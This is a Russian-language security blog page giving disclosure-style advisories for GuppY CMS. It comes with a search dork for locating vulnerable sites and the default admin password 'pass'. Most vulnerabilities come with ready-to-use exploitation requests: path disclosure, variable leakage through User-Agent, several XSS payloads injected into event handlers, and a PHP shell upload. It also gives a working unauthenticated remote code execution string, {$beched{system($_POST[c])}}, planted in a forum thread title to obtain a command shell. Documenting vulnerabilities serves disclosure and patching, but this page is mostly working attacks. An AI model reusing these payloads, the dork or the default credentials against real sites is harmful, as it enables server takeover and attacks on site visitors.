• Главная
  • A hack CTF
  • Заметки
  • [Blind code execution]
    [PHP-инклудинг и allow_url_include]
    [Проблема с WUBI и Ubuntu 10.04]
    [Как был взломан antichat.ru]
    [AntiDDoS в LightHTTPd]
    [Sleep() в слепых SQLi]

  • Bugtraq
  • [Уязвимости языка PHP]
    [Уязвимости разных движков]
    [Уязвимости Joomla]
    [Уязвимости Invision Power Board]
    [Уязвимости GuppY CMS]
    [Уязвимости 1024cms]
    [Уязвимости IceBB]
    [Уязвимости Zeus Botnet]

  • Релизы
  • [Online PHP code analysis]
    [Web-разведка]
    [Сканер уязвимости nginx]
    [Анализ текстов]
    [SSI Web-shell]

  • Услуги
  • [Аудит безопасности]

    Уязвимости GuppY CMS

    Эти уязвимости были когда-то мною опубликованы на античате
    Продукт: GuppY CMS
    Сайт: www.freeguppy.org
    Дорк: "Site powered by GuppY" | "Site créé avec GuppY"
    Уязвимости приблизительно отсортированы по возрастанию критичности

    Уязвимость: Раскрытие путей
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации параметров даты в скриптах inc\calendar.php (функция mktime(), параметры mois и anee), photoview.php (функция getimagesize(), параметр pg).
    Раскрытие даёт функция mktime() при обработке параметров mois и annee.
    Эксплуатация:
    Код:
    GET inc/calendar.php?lng=ru&mois='&annee=' GET photoview.php?lng=ru&pg='


    Уязвимость: Вывод произвольных переменных
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в error.php и thread.php
    Атакующий может внедрить в php-код вывод произвольной переменной. Происходит это, поскольку входящие данные записываются в следующем виде (на примере error.php):
    PHP код:
     $mettre "<?php 
    \$err = \"$err\"; 
    \$msg0 = \"$msg0\"; 
    \$msg1 = \"$msg1\"; 
    \$msg2 = \"$msg2\"; 
    \$date = \"Date : $date\"; 
    \$dest = \"Page requested : $dest\"; 
    \$source = \"Page source : $HTTP_REFERER\"; 
    \$browser = \"Browser : $HTTP_USER_AGENT\"; 
    \$addr_ip = \"IP address : $REMOTE_ADDR\"; 
    \$domaine = \"Domaine : $domaine\"; 
    \$with_mail = $with_mail; 
    ?>"
    ;  

      
    $id date('Ymd_His_').$err
      
    WriteFullDB(DATAREP."error/".$id.INCEXT$mettre); 

      
    header("location:".$site[3]."error.php?id=".$id); 

    В самом error.php файл БД с данными из $mettre инклудится. Выйти за пределы кавычек и выполнить произвольный код не получается из-за addslashes().
    Но можно вывести переменные php, доступные из этого скрипта.
    Эксплуатация:
    Пример вывода DOCUMENT_ROOT
    Код:
    GET error.php?err=1 User-Agent: $_SERVER[DOCUMENT_ROOT]


    Уязвимость: Пассивная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за причин, описанных выше.
    Можно внедрить в php-код вывод произвольных переменных, в том числе из $_GET[].
    Атакующий может сформировать страницу, на которой будет присутствовать пассивная XSS
    Эксплуатация:
    Создаём тему, в заголовок вставляем имена нужных переменных:
    Код:
    POST postguest.php ptit=$_GET[a]$_GET[с]

    Теперь вызываем тему с дополнительными get-параметрами:
    Код:
    GET thread.php a=<script>alert()</scrip&с=t>

    Разбивать вывод приходится из-за некоторой фильтрации, которая не пропускает закрывающийся тег </script> целиком из-за строчки в \inc\includes.inc:
    PHP код:
     if (@preg_match("!//|/\*|#|:/|\.\./|%2E\./|\.%2E/|%2E%2E/|document.cookie|/script!i"$_SERVER["QUERY_STRING"])) { 
        die(
    "Requкte non autorisйe - Request not allowed"); 



    Уязвимость: Полуактивная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации в модуле профиля.
    Атакующий может с помощью специально сформированного запроса создать страницу с внедрённым js-кодом, требующим для выполнения некоторых действий.
    Эксплуатация:
    В профиле в e-mail пишем:
    Код:
    POST user.php uemail=" onmouseover=alert() asd="

    (IE):
    Код:
    POST user.php uemail=" style='background-image: url(javascript:alert());' asd="

    Это даст XSS в поле подписки на новости (событие onmouseover).

    Уязвимость: Выполнение произвольного кода (заливка шелла)
    Условия: права администратора
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации параметров загружаемого файла в скрипте admin\inc\upload.inc.
    Атакующий может загрузить на сервер произвольный файл, например, php-шелл, который будет выполняться, поскольку файл .htaccess не сконфигурирован должным образом.
    Эксплуатация:
    В админцентре (admin.php) в разделе "Файлы сайта" (admin.php?pg=upload) заливаем шелл.
    Пароль от админцентра по умолчанию "pass".

    Уязвимость: Активная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля.
    В скрипте user.php есть строчки:
    PHP код:
     $uwebesite strip_tags($uwebesite);
    ...
    $userprefs[9] = $uwebesite;
    ...
    <
    input class="texte" type="text" name="uwebesite" size="40" value="<? if ($userprefs[9]) echo $userprefs[9]; else echo "http://" ?>"> 

    Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом.
    Эксплуатация:
    Аналогично XSS в гостевой.
    Код:
    POST purl=" onmouseover=alert() asd="

    (IE):
    Код:
    POST purl=" style='background-image: url(javascript:alert());' asd="


    Уязвимость: Активная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле гостевой книги и форума.
    В скрипте postguest.php есть строчки:
    PHP код:
     $purl     import('purl''POST');
    ...
    $purl CutLongWord($purl,80);
    ...
    $data[9] = $purl;
    ...
    $fieldb1 addslashes(stripslashes($data[9])); 

    А в скрипте
    PHP код:
     guestbk.php 
    есть строчка:
    PHP код:
     echo "<br /> 
    <img src=\"inc/img/general/gbkurl.gif\" width=\"17\" height=\"17\" align=\"middle\" alt=\" \">&nbsp;&nbsp;<a href=\""
    .$fieldb1."\" target=\"_blank\">".$fieldb1."</a>"

    Видно, что переменная, содержащая адрес сайта, введённый пользователем при отправке сообщения в гостевую не обрабатывается должным образом.
    Эксплуатация:
    Код:
    POST user.php purl=" onmouseover=alert() asd="

    На выходе имеем:
    Код HTML:
    <a href="" onmouseover=alert() asd="" target="_blank">" onmouseover=alert()</a>

    (IE):
    Код:
    POST user.php purl=" style='background-image: url(javascript:alert());' asd="

    На выходе имеем:
    Код HTML:
    <a href="" style='background-image:url(javascript:alert());' asd="" target="_blank">" style='background-image:url(javascript:alert());' asd="</a>


    Уязвимость: Активная XSS
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля.
    В скрипте user.php есть строчки:
    PHP код:
     $userprefs[8]= trim($avatar);
    ...
    $userdata $userprefs[0].CONNECTOR.$userprefs[1].CONNECTOR.$userprefs[2].CONNECTOR.$userprefs[3].CONNECTOR.$userprefs[4].CONNECTOR.$userprefs[5].CONNECTOR.$userprefs[6].CONNECTOR.$userprefs[7].CONNECTOR.$userprefs[8].CONNECTOR.$userprefs[9].CONNECTOR.$userprefs[10]; 

    Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом.
    А в скрипте есть следующая строчка:
    PHP код:
     <img border="0" src="<? echo CHEMIN; ?>inc/img/avatars/<? echo $page[23]; ?>/<? echo $userprefs[8]; ?>" alt="<? echo $userprefs[1]; ?>" title="<? echo $userprefs[1]; ?>"

    Аналогичный вывод аватара есть и в форуме, и в гостевой.
    Эксплуатация:
    Можно внедрить JS-код в обработчики событий объекта img. Например:
    Код:
    POST user.php avatar=" onerror=alert() asd="

    Данный код кроссбраузерен, на выходе мы получим:
    Код HTML:
    <img border="0" src="inc/img/avatars/ava_1/\\\" onerror=alert() asd=\\\"" alt="ahack" title="ahack">

    Понятно, что событие error всегда произойдёт, а значит код выполнится.

    Уязвимость: Выполнение произвольного кода
    Условия: --
    Описание:
    Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в postguest.php.
    Атакующий может внедрить в скрипт произвольный php-код.
    Причины описаны выше (я тогда не понял, как выполнить произвольный код, поэтому написал лишь о выводе переменных)
    Эксплуатация:
    Создаём новую тему и пишем в заголовок:
    Код:
    POST postguest.php ptit={$beched{system($_POST[c])}}

    В результате в папке /data/ появляется файл docN.inc, где N - это номер темы:
    PHP код:
    <?
    $type = "fr";
    $fileid = "90";
    $status = "a";
    $creadate = "201001242210";
    $moddate = "201001242210";
    $author = stripslashes("beched");
    $email = stripslashes("asd@asd.asd");
    $fielda1 = stripslashes("10");
    $fielda2 = stripslashes("0");
    $fieldb1 = stripslashes("{$beched{system($_POST[c])}}");
    $fieldb2 = stripslashes("1");
    $fieldc1 = stripslashes("trololo");
    $fieldc2 = stripslashes("");
    $fieldd1 = stripslashes("");
    $fieldd2 = stripslashes("7");
    $fieldweb = stripslashes("http://antichat.ru");
    $fieldmail = stripslashes("");
    ?>

    Фигурные скобки {} служат в php для отделения в кавычках строки от переменных.
    Таким образом, при просмотре темы имеем шелл:
    Код:
    POST thread.php c=ls

    Надо отметить, что подобная уязвимость в данном движке (error.php) была найдена уже 3 года назад, но до сих пор не закрыта (пруфлинк).
    © BECHED